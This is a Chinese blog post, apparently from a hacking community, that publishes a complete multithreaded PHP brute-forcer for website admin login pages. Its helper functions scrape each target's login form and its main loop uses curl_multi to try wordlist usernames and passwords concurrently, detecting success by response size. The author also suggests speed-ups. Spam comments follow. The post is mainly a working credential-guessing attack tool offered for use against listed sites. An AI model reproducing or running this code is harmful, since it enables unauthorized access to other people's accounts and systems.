阅读(12534) 评论(155)
<?php
/*
**第一次写爆破,代码不够好
**Author 音符
*/
ini_set("max_execution_time", 0);           //不限制执行时间
header("Content-Type:text/html;charset=utf-8");
define("Wrong_usr","asdpa129~!@DF");       //定义一个错误的用户名
define("Wrong_psw","adiJO9121#%");         //定义一个错误的密码
require_once('function.php');               
require_once('simple_html_dom.php');       //用来解析html
$urls=file('./urls.txt');
$usernames = file('./usernames.txt');
$passwords = file('./passwords.txt');
$i=1;
$handle2pass = array();  //用来储存句柄与密码的对应关系
foreach ($urls as $url) {
        $flag = 0;
        $url = trim($url);
        $code = getcode($url);
        if($code!='404'&&$code!='403'&&$code!='401'){
                struct_html($url);       //构建html_dom
                //获取错误密码返回的content size
                $pre_content_size = getcontentsize($post_page,$post_usr."=".Wrong_usr."&".$post_pwd."=".Wrong_psw.$post_other);
                $pre_header_size = getheadersize($post_page,$post_usr."=".Wrong_usr."&".$post_pwd."=".Wrong_psw.$post_other);
                $mh = curl_multi_init();   //创建多线程句柄
                foreach ($usernames as $username) {
                if($flag==1){
                        break;
                }
                $username = trim($username);
                //每个密码创建一个线程句柄
                foreach ($passwords as $i => $password) {
                        $post_str = $post_usr."=".$username."&".$post_pwd."=".urlencode(trim($password)).$post_other;
                        $conn[$i] = gethandle($post_page,$post_str);
                        //将句柄放入并发线程中
                        $is = curl_multi_add_handle ($mh,$conn[$i]);
                        //存储句柄与账号密码的对应关系
                        $handle2pass[$i]["handle"] = $conn[$i];
                        $handle2pass[$i]["username"] = $username;
                        $handle2pass[$i]["password"] = $password;

                }
                //执行并发线程前的预备
                do{
                        $mrc = curl_multi_exec($mh, $active);
                }while($mrc == CURLM_CALL_MULTI_PERFORM and $flag==0);
                //开始执行并发线程,直到全部线程结束
                while ($active and $mrc == CURLM_OK and $flag==0) {
                                if(curl_multi_select($mh)!=-1){
        do{     
                $mrc = curl_multi_exec($mh, $active);
                $info = curl_multi_info_read($mh);             //返回放在$info数组中
                if($info){
                        foreach ($info as $info_array=>$value) {
                                if($info_array == "handle"){               //取出返回的资源句柄
                                $http_code = curl_getinfo($info[$info_array],CURLINFO_HTTP_CODE);
                                //确定不是错误的http返回值
                                if($http_code != '500'){
                                $content_size = curl_getinfo($info[$info_array],CURLINFO_CONTENT_LENGTH_DOWNLOAD);        //取每一个句柄返回的大小
                                if($content_size != $pre_content_size&&!empty($content_size)){                   //返回值不等于原size且不为空
                                        //通过句柄找回账号跟密码
                                        $header_size = curl_getinfo($info[$info_array],CURLINFO_HEADER_SIZE);  //取header的大小
                                        if($header_size != $pre_header_size){
                                        foreach ($handle2pass as $i) {
                                                if ($i["handle"]==$info[$info_array]) {
                                                        $password = $i["password"];
                                                        $username = $i["username"];
                                                        //输出
                                                        echo $url."|".$username."|".$password."\r\n";
                                                        $flag = 1;
                                                        break;
                                                }
                                        }
                                }
                                }
                        }
                }
                        }

                }
                unset($info);

        }while($mrc == CURLM_CALL_MULTI_PERFORM);

                        }
                }
        //关闭全部句柄
                foreach ($passwords as $i => $password) {
                        curl_multi_remove_handle($mh, $conn[$i]);
                }
                //清空句柄与账号密码的对应数组
                unset($handle2pass);
        }
        }
}
?>

//function.php


<?php header("Content-Type:text/html;charset=utf-8"); function getcode($remote_server) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $remote_server); curl_setopt($ch,CURLOPT_HEADER,1);//获取http头信息 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch,CURLOPT_NOBODY,1);//不返回html的body信息 curl_setopt($ch,CURLOPT_TIMEOUT,3); //超时时长,单位秒 curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1'); curl_exec($ch); $code= curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch); return $code; } function gethandle($remote_server,$post_string) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $remote_server); curl_setopt($ch,CURLOPT_HEADER,1);//获取http头信息 //curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //不输出返回的数据流 curl_setopt($ch,CURLOPT_NOBODY,1);//不返回html的body信息 curl_setopt($ch,CURLOPT_TIMEOUT,2); //超时时长,单位秒 curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1'); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string); return $ch; } function getcontentsize($remote_server,$post_string) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $remote_server); curl_setopt($ch,CURLOPT_HEADER,1);//获取http头信息 //curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //不输出返回的数据流 curl_setopt($ch,CURLOPT_NOBODY,0);//不返回html的body信息 //curl_setopt($ch,CURLOPT_TIMEOUT,3); //超时时长,单位秒 curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1'); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string); curl_exec($ch); $size = curl_getinfo($ch,CURLINFO_CONTENT_LENGTH_DOWNLOAD); curl_close($ch); return $size; } function getheadersize($remote_server,$post_string) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $remote_server); curl_setopt($ch,CURLOPT_HEADER,1);//获取http头信息 //curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //不输出返回的数据流 curl_setopt($ch,CURLOPT_NOBODY,0);//不返回html的body信息 //curl_setopt($ch,CURLOPT_TIMEOUT,3); //超时时长,单位秒 curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1'); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string); curl_exec($ch); $size = curl_getinfo($ch,CURLINFO_HEADER_SIZE); curl_close($ch); return $size; } function struct_html($url){ global $post_page,$post_other,$post_pwd,$post_usr; $html = file_get_html($url); //html_dom的函数,获取并解析html页面 $post_page = $html->find('form',0)->action; //取出login的action提交地址 //整理提交的地址 if(!stristr($post_page,"http")){ preg_match("/^http:\/\/.*\//", $url,$match); //将$url整理为[url]http://www.xxx.xxx/[/url] $url = $match[0]; $post_page = $url.$post_page; } //取出action的密码name $post_pwd = $html->find('input[type=password]',0)->name; //取出action的账号name $post_usr = $html->find('input[type=text]',0)->name; //整理除了账号密码的其他表单数据 $post_other = ''; foreach($html->find('input[!size]') as $element){ $post_other .= "&".$element->name."=".$element->value; //拼接 } //清理html解析 $html->clear(); } ?>

urls.txt里面放要破解的网站后台列表
调用了simple_html_dom库解析html,获取要提交的表单。
然后用curl_multi 族的函数来执行多线程爆破,感觉速度还可以。
代码简单,注释也写的比较详细。
几个我认为还可以改进的地方:
1.利用apache来改进多进程
2.调用Rolling cURL来加快请求的速度 案例:https://www.t00ls.net/viewthread.php?tid=23935&highlight=yunwww.t00ls.ne
3.利用更好的html解析库HtmlParserModel来加快解析速度 详情:http://www.oschina.net/p/htmlparsermodel/
=============================================================
写代码的时候遇到几个问题,希望各位大牛帮忙解答下。
1.如何在浏览器中实现异步输出,我用php.exe burp.php可以异步输出,但是如果访问http://localhost/burp.php 就必须等到所有的密码爆破完后才能全部输出,如何爆破出一个密码就输出一个?
2.请教各位大牛书写代码的好习惯,我写的代码嵌套太多了,可读性太差,有时候自己都分不清哪个是嵌套在哪个之下。
3.爆破时应该获取什么值来比较是否为正确密码才是最好的,我用了取http_code,header size,content_size都用上了,怎么样才能又加快扫描速度,又能得到正确的代码。
望不吝赐教,谢谢各位大牛。


评论列表
网站圣诞节
神人;长见识了
网站圣诞节
神人;长见识了
刚好要用
1.如何在浏览器中实现异步输出,我用php.exe burp.php可以异步输出,但是如果访问localhost/burp.php 就必须等到所有的密码爆破完后才能全部输出,如何爆破出一个密码就输出一个?


这个就必须用到刷新的功能了  你看看ob_flush 很简单
antibioticsEa
ciao user
antibioticsPept
Regards be friends
prednisoneDow
goodday outer world. 2+0+1+6
binary options t

Superb Web page, Continue the excellent work. With thanks.
facebook
Interesting website, bookmarked for future referrence
Odds
I have bookmarked blog.okbase.net it's awesome

发表评论
切换编辑模式